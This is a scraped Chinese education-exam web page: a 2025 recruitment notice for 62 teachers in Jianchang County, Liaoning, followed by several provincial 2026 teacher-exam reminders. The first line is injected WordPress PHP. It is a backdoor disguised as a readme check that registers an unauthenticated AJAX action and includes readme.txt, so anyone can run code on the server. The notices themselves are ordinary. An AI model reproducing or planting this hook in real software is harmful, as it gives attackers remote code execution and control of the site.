if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
辽宁葫芦岛市建昌县2025招聘事业编教师62人公告-全国教师资格考试网

辽宁葫芦岛市建昌县2025招聘事业编教师62人公告

为加强建昌县师资队伍建设,优化教师队伍结构,根据《转发人力资源社会保障部办公厅 教育部办公厅关于做好2025年中小学幼儿园教师公开招聘工作的通知》(辽人社函〔2025〕115号)文件精神和要求,经县委、县政府同意,现面向社会公开招聘事业编教师62名。现将有关事宜公告如下:

一、招聘计划

本次公开招聘教师62名,其中:特殊教育教师2名,幼儿园教师2名,小学教师28名,初中教师29名,高中教师1名。详见《2025年建昌县公开招聘事业编教师岗位信息表》(附件1)。

二、招聘对象

符合报考基本条件和招聘岗位具体资格条件国家承认的应、往届专科及以上学历师范类专业毕业生(心理健康教师岗位不限师范类专业)。

三、招聘条件

(一)基本条件

1.具有中华人民共和国国籍。遵守国家宪法和法律,拥护中国共产党领导和中国特色社会主义制度,享有公民政治权利。

2.热爱教育事业,品行端正,遵纪守法,具有良好的道德素养。

3.具有与履行招聘岗位职责相适应的职业道德素质、专业知识水平、教育教学能力和心理素质。

4.身心健康,能够适应本岗位工作要求。

有下列情况之一者,不得报考:

(1)曾受过刑事处罚或治安处罚的;

(2)有违法犯罪嫌疑正在被公安机关侦查、控制的;

(3)曾参加过邪教组织和其他非法组织或者带有黑社会性质组织的;

(4)具有不宜从事教师职业的疾病或生理缺陷的;

(5)现役军人、建昌县县内机关和事业单位在编人员(含试用期人员);

(6)在读的普通高校学生不能以已取得的学历报考;

(7)近5年内在公务员考录、事业单位招聘中被认定为有考试作弊行为的;

(8)被开除公职的;

(9)被依法列为失信联合惩戒对象的;

(10)聘用后即构成回避关系的;

(11)法律、法规规定的其他不允许聘用人员。

(二)年龄要求

报考人员年龄18周岁以上,35周岁以下,即1989年9月29日至2007年9月29日(含)期间出生。

(三)户籍要求

(1)幼儿园、小学岗位限辽宁省葫芦岛市建昌县户籍。

(2)特殊教育、初中、高中岗位不限户籍。

户籍确认时间截止到本公告发布之日(不含公告发布当日)。

四、招聘程序

(一)发布信息

在葫芦岛市人力资源和社会保障局官方网站和建昌县人民政府官方网站发布招聘公告。后续通知类事项,在建昌县人民政府网站发布(https://www.jianchang.gov.cn/)。

(二)现场报名及资格初审

采取本人现场报名方式,由建昌县人力资源和社会保障局、建昌县教育局依照公告要求,对报名考生资格进行现场初审。

由报名人员本人携带相关材料按规定时间到指定地点报名并进行资格审查。报名考试费100元,建议扫码缴费。

1.报名及资格初审时间和地点

时间:2025年10月13日至2025年10月17日

上午8:30—11:00

下午13:30—16:00。

地点:建昌县人力资源和社会保障局3楼北侧。

2.提交材料

(1)本人签名的《2025年葫芦岛市建昌县公开招聘事业编教师报名表》(见附件2,本人签字处必须手签。)

(2)本人近期2寸免冠蓝底照片3张,报名表粘一张,另外两张背面标注姓名现场提交。

(3)本人二代居民身份证原件及复印件(正反面)(报考人员报名与考试时使用的身份证必须一致。)

(4)户口本原件及复印件(首页、本人页)。

(5)提供报考学历的毕业证、学位证原件及复印件,学信网查询打印的《教育部学历证书电子注册备案表》。

(6)教师资格证原件及复印件,中国教师资格网教师证书查询结果截图打印件。

(7)本人签字的《诚信报名承诺书》(见附件3)(报名时需在手写签名处按右手食指手印。)

本次考试实行诚信报名,且资格审查贯穿招聘工作全过程,要求考生所提供的证件和信息要真实、有效;凡弄虚作假的,一经查实,一律取消考试及聘用资格。

3.报名要求

每位报考人员只能选择一个岗位。同一岗位报名人数与招聘计划岗位数的开考比例不小于2:1,报名人数达不到招聘岗位开考比例的,则减少或取消相应的招聘岗位数额,并在建昌县人民政府官方网站及时公布。报考已取消岗位的考生,可在规定时间内报考其他符合招聘条件的岗位;未按规定时间改报的,视为放弃报考。

(三)笔试

1.通过现场报名初审的考生参加笔试,领取准考证及笔试时间、地点请关注建昌县人民政府官网。

2.笔试科目及内容

本次教师招聘笔试内容:教育学、教育心理学、教育法律法规、教师职业道德建设等(以下统称教育综合)及学科知识。

两科一张卷,满分100分,最低合格分数线60分。成绩“四舍五入”方式保留两位小数。未达到最低合格分数线者不得参加资格复审和面试。

具体范围:

小学语数教师岗位为教育综合,初中语文、数学学科知识;

小学英语教师岗位为教育综合,初中英语学科知识;

小学音乐、小学体育、特殊教育、幼儿教师岗位为教育综合,所报考学科知识;

初中、高中岗位为教育综合,所报考岗位相应学段相应学科知识。

笔试科目全部为客观题,用2B铅笔在标准答题卡上作答。

(四)资格复审

1.进入资格复审人员的确定。依照笔试成绩从高到低的排序,各岗位按招聘计划1:2比例确定进入资格复审人员名单,最后一名成绩并列者同时入选。

2.资格复审。面试前,由建昌县教育局、建昌县人社局进行资格审查。主要审查年龄、学历、专业、户籍、教师资格证等是否符合岗位要求。资格审查合格的考生确定为面试人选。因报考者自愿放弃或资格审查不合格等其他原因出现岗位空缺的,在该岗位笔试成绩合格人员中根据成绩由高到低的顺序等额递补一次。如某个岗位资格审查合格考生数量达不到1:2比例要求,则按实有合格人数进行面试。

(五)面试

1.进入面试人员名单及面试时间、地点等事项在建昌县人民政府网站发布。

2.面试形式

面试采取微型课的形式。微型课面试时间为10分钟,备课时间为20分钟。报考体育、音乐、幼儿教师岗位的考生除讲一节应招学科微型课外,还需进行报考岗位的专业特长展示,特长展示时间限时5分钟(特长展示分数占面试总分的40%,微型课分数占面试总分的60%)。

3.面试分数:满分100分,最低合格分数为60分(含),低于60分的不予聘用。

4.成绩公布:面试成绩当场评判,核准后在面试室公布。面试成绩“四舍五入”方式保留两位小数。

对在规定时间内未参加面试的考生视为自动弃权,缺额不再递补。

(六)总成绩

笔试、面试成绩的权重比例为5:5。考生成绩的权重计分公式为:总成绩=笔试成绩×50%+面试成绩×50%。

总成绩“四舍五入”方式保留两位小数。

根据总成绩从高到低顺序,按招聘计划1:1的比例确定参加体检人选。如总成绩并列,则依次参照面试成绩、笔试成绩评定,成绩高者进入体检;如再并列,另行加试。

(七)体检

体检工作参照《关于修订公务员录用体检通用标准(试行)>及<公务员录用体检操作手册(试行)>的通知》(人社部发〔2016〕140号)《关于印发公务员录用体检特殊标准(试行)的通知》(人社部发〔2010〕82号)等规定执行。体检工作由建昌县人力资源和社会保障局组织实施,在具有公务员考录和事业单位公开招聘体检资格的医院进行,体检费用由考生自行承担。

体检后如考生对体检结论有疑问要求复检的,可在接到体检结论的7日内以书面形式提出。经建昌县招聘教师工作领导小组同意后,在接到通知7日内进行复检,复检只能进行一次且只针对有疑议的项目复检,体检结果以复检结论为准。复检费用由考生承担。在规定时间内不参加体检者及在体检过程中弄虚作假或隐瞒真实情况或体检不合格的考生,取消其应聘资格。

(八)选岗

本次招聘采取选岗的方式确定工作单位,体检合格的考生由建昌县教育局组织进行选岗,各岗位考生按照总成绩从高到低的顺序选择工作单位。如总成绩并列,则依次参照面试成绩、笔试成绩高者优先选岗;如再并列,抽签决定选岗顺序。选岗时间及地点等有关事项另行通知。

未在规定时间内选择的视为自动放弃。对不服从组织安排的,不予聘用。岗位选择后出现的空岗,不再补录。

(九)考察

考察工作由用人单位组织对其思想政治表现、道德品质等情况进行调查了解,同时由相关单位对其进行涉罪信息查询。考察中发现不符合聘用条件的,取消其聘用资格。因考察不合格或考生弃权出现的岗位空缺不再递补。

(十)公示与聘用

1.公示

经笔试、资格复审、面试、体检、选岗、考察确定的拟聘用人员,在建昌县人民政府官网上进行公示,公示期为5个工作日。无异议者予以聘用。

2.聘用

(1)公示期满无异议的,由所在单位按规定及时为其办理聘用备案、入编及工资等手续;所在单位应在办理聘用备案后5天内通知聘用人员报到,聘用人员应在单位通知后30天内到岗上班。

公开招聘的人员按规定实行试用期制度。试用期一般不超过6个月(初次就业签订3年以上聘用合同的,试用期为12个月),国家另有规定的按规定执行。试用期包括在聘用合同期限内。试用期满合格的,予以正式聘用;不合格的,取消聘用。

(2)乡镇中小学岗位最低服务年限为5年(含试用期);县直学校岗位最低服务年限为3年(含试用期)。服务期内不允许交流。

五、纪律与监督

公开招聘工作坚持“公开、平等、竞争、择优”原则,严肃纪律,秉公办事,严禁弄虚作假,徇私舞弊,全程接受纪检监察部门和社会监督。报考者有弄虚作假、违纪违规行为的,一经发现,取消其考试或应聘资格。构成犯罪的,依法追究刑事责任。

六、其他事项

1.考生自报名至拟聘用公示期间,应确保报名时所填报的通讯工具畅通,并密切关注建昌县人民政府官网通知公告。考生因个人原因未能参加笔试、面试等招聘环节的,视为自动放弃应聘资格。

2.本次考试不指定考试辅导用书,不举办也不委托任何机构举办考试辅导培训班。目前社会上出现的任何辅导班、辅导网站或发行的出版物、上网卡等,均与本次考试无关,敬请广大报考人员提高警惕,切勿上当受骗。

3.其他未尽事宜按有关文件规定执行。

本公告由建昌县招聘教师工作领导小组负责解释。

咨询电话: 人社局 0429-7111068

教育局 0429-7993059

(工作日9:00-11:00,14:00-16:00)

附件:1.2025年建昌县公开招聘事业编教师岗位信息表(附件1)

2.2025年建昌县公开招聘事业编教师报名表

3.诚信报名承诺书

建昌县招聘教师工作领导小组

2025年9月29日

回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部